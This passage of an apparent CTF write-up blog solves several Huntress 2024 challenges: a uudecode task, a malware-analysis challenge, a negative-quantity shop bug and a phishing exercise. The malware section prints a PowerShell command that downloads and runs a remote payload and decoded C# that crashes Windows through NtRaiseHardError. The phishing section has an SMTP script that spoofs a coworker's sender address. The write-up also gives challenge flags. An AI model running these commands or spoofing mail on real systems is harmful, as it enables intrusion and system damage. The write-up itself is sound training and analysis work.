</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;begin&#34;</span><span class="p">)</span> <span class="ow">or</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;end&#34;</span><span class="p">)</span> <span class="ow">or</span> <span class="n">line</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="n">g</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">h</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">),</span> <span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">h</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&gt;=</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="n">h</span><span class="p">])</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl">            <span class="n">j</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="n">h</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl">            <span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="n">h</span> <span class="o">+</span> <span class="mi">2</span><span class="p">])</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl">            <span class="n">l</span> <span class="o">=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="n">h</span> <span class="o">+</span> <span class="mi">3</span><span class="p">])</span> <span class="o">-</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">j</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">h</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">j</span> <span class="o">&amp;</span> <span class="mi">15</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">k</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">h</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">k</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">)</span> <span class="o">|</span> <span class="n">l</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="s2">&#34;&#34;&#34;begin 644 -
</span></span></span><span class="line"><span class="cl"><span class="s2">G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#&lt;X.3!A-60Y,WT*
</span></span></span><span class="line"><span class="cl"><span class="s2">`
</span></span></span><span class="line"><span class="cl"><span class="s2">end&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decode</span><span class="p">(</span><span class="n">m</span><span class="p">))</span>
</span></span></code></pre></div><p>Running this we get the flag.</p>
<p>Flag: <code>flag{9922fb21aaf1757e3fdb28d7890a5d93}</code></p>
<hr>
<h3 id="russian-roulette">Russian Roulette</h3>
<p>My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(</p>
<p><strong>WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.</strong></p>
<p><strong>NOTE: Archive password is <code>russian_roulette</code></strong></p>
<p>Attachments: <a href="/huntress24/malware/russian_roulette.zip">russian_roulette.zip</a></p>
<p>Starting off we extract a MS Windows shortcut file, that when run runs: <code>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=</code>. If we decode that base64 string using python:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="n">encoded_string</span> <span class="o">=</span> <span class="s2">&#34;aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded_string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_string</span> <span class="o">=</span> <span class="n">decoded_bytes</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-16&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decoded_string</span><span class="p">)</span>
</span></span></code></pre></div><p>Returns: <code>iwr is.gd/jwr7JD -o $env:TMP/.cmd;&amp; $env:TMP/.cmd</code>. Visiting <a href="https://is.gd/jwr7JD">https://is.gd/jwr7JD</a> we get a <code>powershell.zip</code> file, rename that to <code>powershell.cmd</code>.</p>
<p><em>NOTE: If the is.gd site is down, you can download the <code>powershell.zip</code> file from <a href="/huntress24/malware/powershell.cmd">here</a></em></p>
<p>Next I once again used <a href="https://app.any.run">https://app.any.run</a>, here I got a new payload:</p>
<pre tabindex="0"><code>powershell -e JABzAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ASQBPADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABYAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAaQBuAHQAIABwACwAYgBvAG8AbAAgAGUALABiAG8AbwBsACAAYwAsAG8AdQB0ACAAYgBvAG8AbAAgAG8AKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABOAHQAUgBhAGkAcwBlAEgAYQByAGQARQByAHIAbwByACgAdQBpAG4AdAAgAGUALAB1AGkAbgB0ACAAbgAsAHUAaQBuAHQAIAB1ACwASQBuAHQAUAB0AHIAIABwACwAdQBpAG4AdAAgAHYALABvAHUAdAAgAHUAaQBuAHQAIAByACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdQBuAHMAYQBmAGUAIABzAHQAcgBpAG4AZwAgAFMAaABvAHQAKAApAHsAYgBvAG8AbAAgAG8AOwB1AGkAbgB0ACAAcgA7AFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAMQA5ACwAdAByAHUAZQAsAGYAYQBsAHMAZQAsAG8AdQB0ACAAbwApADsATgB0AFIAYQBpAHMAZQBIAGEAcgBkAEUAcgByAG8AcgAoADAAeABjADAAMAAwADAAMAAyADIALAAwACwAMAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsADYALABvAHUAdAAgAHIAKQA7AGIAeQB0AGUAWwBdAGMAPQBDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUgBOAG8AOABUAFoANQA2AFIAdgArAEUAeQBaAFcANwAzAE4AbwBjAEYATwBJAGkATgBGAGYATAA0ADUAdABYAHcAMgA0AFUAbwBnAEcAZABIAGsAcwB3AGUAYQAvAFcAaABuAE4AaABDAE4AdwBqAFEAbgAxAGEAVwBqAGYAdwAiACkAOwBiAHkAdABlAFsAXQBrAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAC8AYQAxAFkAKwBmAHMAcABxAC8ATgB3AGwAYwBQAHcAcABhAFQAMwBpAHIAWQAyAGgAYwBFAHkAdABrAHQAdQBIADcATABzAFkAKwBOAGwATABlAHcAPQAiACkAOwBiAHkAdABlAFsAXQBpAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADkAcwBYAEcAbQBLADQAcQA5AEwAZABZAEYAZABPAHAANABUAFMAcwBRAHcAPQA9ACIAKQA7AHUAcwBpAG4AZwAoAEEAZQBzACAAYQA9AEEAZQBzAC4AQwByAGUAYQB0AGUAKAApACkAewBhAC4ASwBlAHkAPQBrADsAYQAuAEkAVgA9AGkAOwBJAEMAcgB5AHAAdABvAFQAcgBhAG4AcwBmAG8AcgBtACAAZAA9AGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGEALgBLAGUAeQAsAGEALgBJAFYAKQA7AHUAcwBpAG4AZwAoAHYAYQByACAAbQA9AG4AZQB3ACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABjACkAKQB1AHMAaQBuAGcAKAB2AGEAcgAgAHkAPQBuAGUAdwAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtACgAbQAsAGQALABDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQBNAG8AZABlAC4AUgBlAGEAZAApACkAdQBzAGkAbgBnACgAdgBhAHIAIABzAD0AbgBlAHcAIABTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAHkAKQApAHsAcgBlAHQAdQByAG4AIABzAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQB9AH0AfQAnADsAJABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQwBvAGQAZQBEAG8AbQAuAEMAbwBtAHAAaQBsAGUAcgAuAEMAbwBtAHAAaQBsAGUAcgBQAGEAcgBhAG0AZQB0AGUAcgBzADsAJABjAC4AQwBvAG0AcABpAGwAZQByAE8AcAB0AGkAbwBuAHMAPQAnAC8AdQBuAHMAYQBmAGUAJwA7ACQAYQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzACAALQBMAGEAbgBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAgAC0AUABhAHMAcwBUAGgAcgB1ACAALQBDAG8AbQBwAGkAbABlAHIAUABhAHIAYQBtAGUAdABlAHIAcwAgACQAYwA7AGkAZgAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxACAALQBNAGEAeAAgADcAKQAgAC0AZQBxACAAMQApAHsAWwBYAF0AOgA6AFMAaABvAHQAKAApAH0AUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIA
</code></pre><p>Decodes to:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="err">$</span><span class="n">s</span><span class="p">=</span><span class="err">&#39;</span><span class="k">using</span> <span class="nn">System</span><span class="p">;</span><span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span><span class="k">using</span> <span class="nn">System.Security.Cryptography</span><span class="p">;</span><span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span><span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span><span class="kd">public</span> <span class="k">class</span> <span class="nc">X</span><span class="p">{[</span><span class="n">DllImport</span><span class="p">(</span><span class="s">&#34;ntdll.dll&#34;</span><span class="p">)]</span><span class="kd">public</span> <span class="kd">static</span> <span class="kd">extern</span> <span class="kt">uint</span> <span class="n">RtlAdjustPrivilege</span><span class="p">(</span><span class="kt">int</span> <span class="n">p</span><span class="p">,</span><span class="kt">bool</span> <span class="n">e</span><span class="p">,</span><span class="kt">bool</span> <span class="n">c</span><span class="p">,</span><span class="k">out</span> <span class="kt">bool</span> <span class="n">o</span><span class="p">);[</span><span class="n">DllImport</span><span class="p">(</span><span class="s">&#34;ntdll.dll&#34;</span><span class="p">)]</span><span class="kd">public</span> <span class="kd">static</span> <span class="kd">extern</span> <span class="kt">uint</span> <span class="n">NtRaiseHardError</span><span class="p">(</span><span class="kt">uint</span> <span class="n">e</span><span class="p">,</span><span class="kt">uint</span> <span class="n">n</span><span class="p">,</span><span class="kt">uint</span> <span class="n">u</span><span class="p">,</span><span class="n">IntPtr</span> <span class="n">p</span><span class="p">,</span><span class="kt">uint</span> <span class="n">v</span><span class="p">,</span><span class="k">out</span> <span class="kt">uint</span> <span class="n">r</span><span class="p">);</span><span class="kd">public</span> <span class="kd">static</span> <span class="kd">unsafe</span> <span class="kt">string</span> <span class="n">Shot</span><span class="p">(){</span><span class="kt">bool</span> <span class="n">o</span><span class="p">;</span><span class="kt">uint</span> <span class="n">r</span><span class="p">;</span><span class="n">RtlAdjustPrivilege</span><span class="p">(</span><span class="m">19</span><span class="p">,</span><span class="kc">true</span><span class="p">,</span><span class="kc">false</span><span class="p">,</span><span class="k">out</span> <span class="n">o</span><span class="p">);</span><span class="n">NtRaiseHardError</span><span class="p">(</span><span class="m">0xc0000022</span><span class="p">,</span><span class="m">0</span><span class="p">,</span><span class="m">0</span><span class="p">,</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span><span class="m">6</span><span class="p">,</span><span class="k">out</span> <span class="n">r</span><span class="p">);</span><span class="kt">byte</span><span class="p">[]</span><span class="n">c</span><span class="p">=</span><span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s">&#34;RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw&#34;</span><span class="p">);</span><span class="kt">byte</span><span class="p">[]</span><span class="n">k</span><span class="p">=</span><span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s">&#34;/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=&#34;</span><span class="p">);</span><span class="kt">byte</span><span class="p">[]</span><span class="n">i</span><span class="p">=</span><span class="n">Convert</span><span class="p">.</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s">&#34;9sXGmK4q9LdYFdOp4TSsQw==&#34;</span><span class="p">);</span><span class="n">using</span><span class="p">(</span><span class="n">Aes</span> <span class="n">a</span><span class="p">=</span><span class="n">Aes</span><span class="p">.</span><span class="n">Create</span><span class="p">()){</span><span class="n">a</span><span class="p">.</span><span class="n">Key</span><span class="p">=</span><span class="n">k</span><span class="p">;</span><span class="n">a</span><span class="p">.</span><span class="n">IV</span><span class="p">=</span><span class="n">i</span><span class="p">;</span><span class="n">ICryptoTransform</span> <span class="n">d</span><span class="p">=</span><span class="n">a</span><span class="p">.</span><span class="n">CreateDecryptor</span><span class="p">(</span><span class="n">a</span><span class="p">.</span><span class="n">Key</span><span class="p">,</span><span class="n">a</span><span class="p">.</span><span class="n">IV</span><span class="p">);</span><span class="n">using</span><span class="p">(</span><span class="kt">var</span> <span class="n">m</span><span class="p">=</span><span class="k">new</span> <span class="n">MemoryStream</span><span class="p">(</span><span class="n">c</span><span class="p">))</span><span class="n">using</span><span class="p">(</span><span class="kt">var</span> <span class="n">y</span><span class="p">=</span><span class="k">new</span> <span class="n">CryptoStream</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Read</span><span class="p">))</span><span class="n">using</span><span class="p">(</span><span class="kt">var</span> <span class="n">s</span><span class="p">=</span><span class="k">new</span> <span class="n">StreamReader</span><span class="p">(</span><span class="n">y</span><span class="p">)){</span><span class="k">return</span> <span class="n">s</span><span class="p">.</span><span class="n">ReadToEnd</span><span class="p">();}}}}</span><span class="err">&#39;</span><span class="p">;</span><span class="err">$</span><span class="n">c</span><span class="p">=</span><span class="n">New</span><span class="p">-</span><span class="n">Object</span> <span class="n">System</span><span class="p">.</span><span class="n">CodeDom</span><span class="p">.</span><span class="n">Compiler</span><span class="p">.</span><span class="n">CompilerParameters</span><span class="p">;</span><span class="err">$</span><span class="n">c</span><span class="p">.</span><span class="n">CompilerOptions</span><span class="p">=</span><span class="err">&#39;</span><span class="p">/</span><span class="kd">unsafe</span><span class="err">&#39;</span><span class="p">;</span><span class="err">$</span><span class="n">a</span><span class="p">=</span><span class="n">Add</span><span class="p">-</span><span class="n">Type</span> <span class="p">-</span><span class="n">TypeDefinition</span> <span class="err">$</span><span class="n">s</span> <span class="p">-</span><span class="n">Language</span> <span class="n">CSharp</span> <span class="p">-</span><span class="n">PassThru</span> <span class="p">-</span><span class="n">CompilerParameters</span> <span class="err">$</span><span class="n">c</span><span class="p">;</span><span class="k">if</span><span class="p">((</span><span class="n">Get</span><span class="p">-</span><span class="n">Random</span> <span class="p">-</span><span class="n">Min</span> <span class="m">1</span> <span class="p">-</span><span class="n">Max</span> <span class="m">7</span><span class="p">)</span> <span class="p">-</span><span class="n">eq</span> <span class="m">1</span><span class="p">){[</span><span class="n">X</span><span class="p">]::</span><span class="n">Shot</span><span class="p">()}</span><span class="n">Start</span><span class="p">-</span><span class="n">Process</span> <span class="s">&#34;powershell.exe&#34;</span>
</span></span></code></pre></div><p>Now using a bit of python we can decode the base64 Cipher using the given AES key and iv:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher_text_base64</span> <span class="o">=</span> <span class="s2">&#34;RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">key_base64</span> <span class="o">=</span> <span class="s2">&#34;/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">iv_base64</span> <span class="o">=</span> <span class="s2">&#34;9sXGmK4q9LdYFdOp4TSsQw==&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher_text</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">cipher_text_base64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">key_base64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">iv_base64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">decrypted</span> <span class="o">=</span> <span class="n">unpad</span><span class="p">(</span><span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">cipher_text</span><span class="p">),</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">decrypted_text</span> <span class="o">=</span> <span class="n">decrypted</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decrypted_text</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>flag{4e4f266d44717ff3af8bd92d292b79ec}</code></p>
<hr>
<h3 id="whamazon">Whamazon</h3>
<p>Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?</p>
<pre tabindex="0"><code>What&#39;s up, Whammy? What do you wanna do?

 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
&gt; 2

Woohoo! We are where it&#39;s at: WHAMAZON!
What would you like to buy?

!! You have: 50 dollars in your wallet !!

 1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. &#34;Nothing, I want to leave&#34;
&gt; 2

The &#39;Oranges&#39; item costs 2 dollars.
How many of the &#39;Oranges&#39; items would you like ?
&gt; -100000000000000000000000000000000000000000000000
Crunching the numbers...
  2 dollars x -100000000000000000000000000000000000000000000000 = -200000000000000000000000000000000000000000000000 subtracted from your wallet!

!! You have: 200000000000000000000000000000000000000000000050 dollars in your wallet !!


 1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. &#34;Nothing, I want to leave&#34;
&gt; 7

The &#39;The Flag&#39; item costs 1000000000 dollars.
How many of the &#39;The Flag&#39; items would you like ?
&gt; 1
Crunching the numbers...
  1000000000 dollars x 1 = 1000000000 subtracted from your wallet!

Wait a second Whammy... you wanna buy THE FLAG???
This is our most valued item! I won&#39;t give it up without an intense game of 
ROCK PAPER SCISSORS!

You know how to play, right? A player can pick just one of three choices!
... Rock beats Paper
... Paper beats Scissors
... Scissors beats Rock
Let&#39;s play! First, here are some jedi-mind game tricks to throw you off...
&#34;I, your opponent, will NOT choose Scissors!!&#34;
?? What is your choice ??

1. Rock
 2. Paper
 3. Scissors
 4. &#34;Nevermind, I don&#39;t wanna play&#34;
&gt; 2

&#34;Rock... Paper... Scissors... SHOOT!
You chose Paper and I chose Rock!
OH NO! I lost! Fine, you can have your silly flag... BUT JUST ONE!!

!! The Flag has been added to your inventory !!

Okay, see you later Whammy!

 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
&gt; 1

We got all the deets on what&#39;s what in your inventory:
 ------------------------ 
  -100000000000000000000000000000000000000000000000 x Oranges: A juicy orange orange. Orange orange? Orange orange: orange orange. Orange!
  1 x The Flag: A flag you can submit for points in a CTF! It says: flag{18bdd83cee5690321bb14c70465d3408}


 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
</code></pre><p><strong>In this challange we are able to buy a negative amount of a product, resulting adding to our wallet.</strong></p>
<p>Flag: <code>flag{18bdd83cee5690321bb14c70465d3408}</code></p>
<hr>
<h3 id="red-phish-blue-phish">Red Phish Blue Phish</h3>
<p>You are to conduct a phishing excercise against our client, Pyrch Data.</p>
<p>We&rsquo;ve identified the Marketing Director, Sarah Williams (<a href="mailto:swilliams@pyrchdata.com">swilliams@pyrchdata.com</a>), as a user susceptible to phishing.</p>
<p>Are you able to successfully phish her? Remember your OSINT ;)</p>
<p>If we start by taking a look at the user&rsquo;s email, we can see that she has an email address of <code>swilliams@pyrchdata.com</code>. Looking on the <a href="https://pyrchdata.com">https://pyrchdata.com</a> website, we can see that there is a list of all the members of the team. Since Sarah Williams is <a href="mailto:swilliams@pyrchdata.com">swilliams@pyrchdata.com</a>, we can try all the other co-workers first initial and their lastname.</p>
<p><img src="/huntress24/pyrchdata-team.png" alt="pyrchdata.com team page"></p>
<p>Using a python script, we can send a message to Sarah Williams:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">smtplib</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">email.mime.text</span> <span class="kn">import</span> <span class="n">MIMEText</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">receiver_email</span> <span class="o">=</span> <span class="s2">&#34;swilliams@pyrchdata.com&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">sender_email</span> <span class="o">=</span> <span class="s2">&#34;jdaveren@pyrchdata.com&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">smtp_server</span> <span class="o">=</span> <span class="s2">&#34;challenge.ctf.games&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">smtp_port</span> <span class="o">=</span> <span class="mi">32131</span>
</span></span><span class="line"><span class="cl"><span class="n">message</span> <span class="o">=</span> <span class="n">MIMEText</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">message</span><span class="p">[</span><span class="s1">&#39;From&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">sender_email</span>
</span></span><span class="line"><span class="cl"><span class="n">message</span><span class="p">[</span><span class="s1">&#39;To&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">receiver_email</span>
</span></span><span class="line"><span class="cl"><span class="n">message</span><span class="p">[</span><span class="s1">&#39;Subject&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">server</span> <span class="o">=</span> <span class="n">smtplib</span><span class="o">.</span><span class="n">SMTP</span><span class="p">(</span><span class="n">smtp_server</span><span class="p">,</span> <span class="n">smtp_port</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">text</span> <span class="o">=</span> <span class="n">message</span><span class="o">.</span><span class="n">as_string</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">server</span><span class="o">.</span><span class="n">set_debuglevel</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">server</span><span class="o">.</span><span class="n">sendmail</span><span class="p">(</span><span class="n">sender_email</span><span class="p">,</span> <span class="n">receiver_email</span><span class="p">,</span> <span class="n">message</span><span class="o">.</span><span class="n">as_string</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">server</span><span class="o">.</span><span class="n">quit</span><span class="p">()</span>
</span></span></code></pre></div><p><strong>Here I tried every team member first initial and lastname, until I got one that worked.</strong></p>
<h3 id="conclusion">Conclusion:</h3>
<p>I think this was a <strong>poor challenge</strong>, since it took a few days of <strong>guessing</strong> to even find the right path.</p>
<p>Flag: <code>flag{54c6ec05ca19565754351b7fcf9c03b2}</code></p>
